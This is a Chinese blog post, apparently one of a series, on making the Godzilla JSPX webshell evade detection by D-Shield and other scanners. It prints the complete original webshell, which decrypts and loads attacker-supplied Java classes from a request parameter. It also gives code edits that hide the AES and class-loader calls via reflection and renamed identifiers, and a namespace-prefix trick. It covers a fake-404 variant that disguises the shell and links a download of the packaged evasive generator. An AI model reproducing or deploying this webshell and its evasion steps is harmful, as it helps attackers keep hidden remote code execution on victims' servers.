前言

上面的文章做了动态的免杀,以及基于时间的密钥动态处理,计划中做一下其他语言的免杀及流量修改,本篇文章做一下jspx流量修改及免杀。

jspx简介

JSPX (JavaServer Pages XML) 是一种基于 XML 语法的 JSP(JavaServer Pages)格式。它将 JSP 与 XML 的严格语法规则结合,确保页面中的所有标签都符合 XML 的结构要求。通过使用 JSPX,开发人员可以得到一个符合 XML 规范的页面,这在某些情况下非常重要,例如处理 XML 数据或需要与其他 XML 系统进行集成时。JSPX 就是 JSP 的 XML 版本,主要区别在于 XML 的严格语法要求。

看起来是aspx和asmx的关系差不多。就是XML版本的。

jspx免杀

我们先来看一下Godzilla的jspx生成原版木马

1
2
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:declaration> String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }</jsp:declaration><jsp:scriptlet>try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
</jsp:scriptlet></jsp:root>

也是非常的长,其中非常长的就是base64的编解码,做了很多判断。

简单看下代码会发现其实和jsp代码大差不差。几乎一样,除了格式有点偏差,那么我们做免杀就可以照着以前写的文章去修改了。

image-20250206152005143

使用原版的godzilla中,我们会发现,加密器并有jspx的,这里直接使用java的就行,用起来一样。

简单先用d盾fuzz一下,还是发现aes加密处做了检测,

javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); return c.doFinal(s);

就是这一句,我们对这个进行简单修改

1
2
3
4
5
6
7
String xo = "javax.crypto.Cipher";
Class cl = Class.forName(xo);
java.lang.reflect.Method g = cl.getMethod("getInstance",String.class);
Object c = cl.cast(g.invoke((null),"AES"));
cl.getMethod("init",int.class,java.security.Key.class).invoke(c,m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
java.lang.reflect.Method douyin = cl.getMethod("doFinal", byte[].class);
return (byte[]) douyin.invoke(c, (Object) s);

image-20250206151832748

当然,这个时候还是有问题的,就是加载base64编解码那里。文章3免杀的时候已经提到过了,笔者这里直接把jsp的拿过来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static String base64Encode(byte[] webray) throws Exception {
try {
java.util.Base64.Encoder leadsec = java.util.Base64.getEncoder();
return leadsec.encodeToString(webray);
} catch (Exception e) {return null;}
}
public static byte[] base64Decode(String bs) throws Exception {
try {
java.util.Base64.Decoder nsfocus = java.util.Base64.getDecoder();
return nsfocus.decode(bs);
} catch (Exception e) {return null;}
}class huawei extends ClassLoader {
public huawei(ClassLoader sina) {
super(sina);
}
public Class Q(byte[] bytedance) {
try {
return super.defineClass(null, bytedance, 0, bytedance.length);
} catch (ClassFormatError e) {
return null;}}}

然后就是用于获取当前类的类加载器this.getClass().getClassLoader()这个语句d盾也杀,我们给他换掉ClassLoader.getSystemClassLoader()这样就降级了

image-20250206154642813

2级,经过笔者在fuzz,Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);

问题出现在.newInstance();

但是在哥斯拉二开从0到1-2免杀的文章中,笔者测试的jsp免杀,并没有对这一点进行查杀。所以肯定还是哪里有问题出现在下面最后一段里。因为jsp和jspx的木马都差不多,

1
2
<jsp:scriptlet>try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
</jsp:scriptlet>

这里.newInstance();如果没问题,大概率是<jsp:scriptlet>这种声明有问题了。

参考大师傅文章https://yzddmr6.com/posts/jsp-webshell-upload-bypass/ 可以发现,其中jsp:scriptlet可以将jsp换掉的。换成任意字符都可以。这里也可以怀疑是d盾检测了jsp字符串,确实挺可疑的。

image-20250207104054740

这样就过掉d盾了。接下来再将其他的细节优化一下。没用的空格,字符串去掉即可。

好的,用一点时间,把木马放到模板里。

image-20250208113713958

编译打包,

image-20250208141334288

大家记得使用的时候选这个jspx的

image-20250208141556870

选择jspx的。照例生成三个

image-20250208142322997

传上去 访问一下

image-20250208143608371

这里笔者也做了404的🐎,这个404显示正常的,文件存在的。

火狐

image-20250208143805781

tomcat 如果不存在的文件,返回应该是下面这样的

image-20250208143647148

大家连接的时候选择JAVA_AES_BASE64_DATA_JSPX

image-20250208143927656

image-20250208144131065

image-20250208144107065

看下流量,也没啥问题,返回码是404。LF/IpkPvM0iJI4wmpBs2DaoBVvcbDMpwuL7nYS3n/k4=

大家看到这个是不是很熟悉,这个是大家用了默认key加密得来的test结果。很容易被识别。建议大家在使用的时候千万不要使用默认pass和key。

image-20250208144345015

image-20250208144354634

好,在看一下微步,也没啥问题。其他的就不测了。这样jspx的也改完了。

总结

本文对godzilla中jspx木马进行免杀,及流量修改进行简单免杀,将免杀木马封装到godzilla中,使用模板进行免杀,达到每次生成的木马都不相同。

下个版本

1.1版本添加木马的免杀,全语言都做好了,但是并没有改流量以及加密方式,只是做了伪装。

1.2版本做了动态密钥。

1.3版本做了左右动态添加数据,

1.4版本做了asmx动态免杀及流量修改。

1.5版本做了jspx动态免杀及流量修改。

后面需要做的:修改一下加密方式,这样的话会更好一点。还有就是data其实是固定的,希望能让他动起来。

下载、使用

什么,你说看不明白、不想动手、太麻烦,没事,去下载就可以了。
https://github.com/Bohemiana/godzilla_erkai

致谢

最后感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。

参考
1
2
3
https://github.com/BeichenDream/Godzilla            原版哥斯拉
https://zone.huoxian.cn/d/1229-jspwebshell JSPwebshell免杀一些技巧
https://yzddmr6.com/posts/jsp-webshell-upload-bypass/ 星球问答:一次jsp上传绕过的思考

emmm 太菜了
一直在路上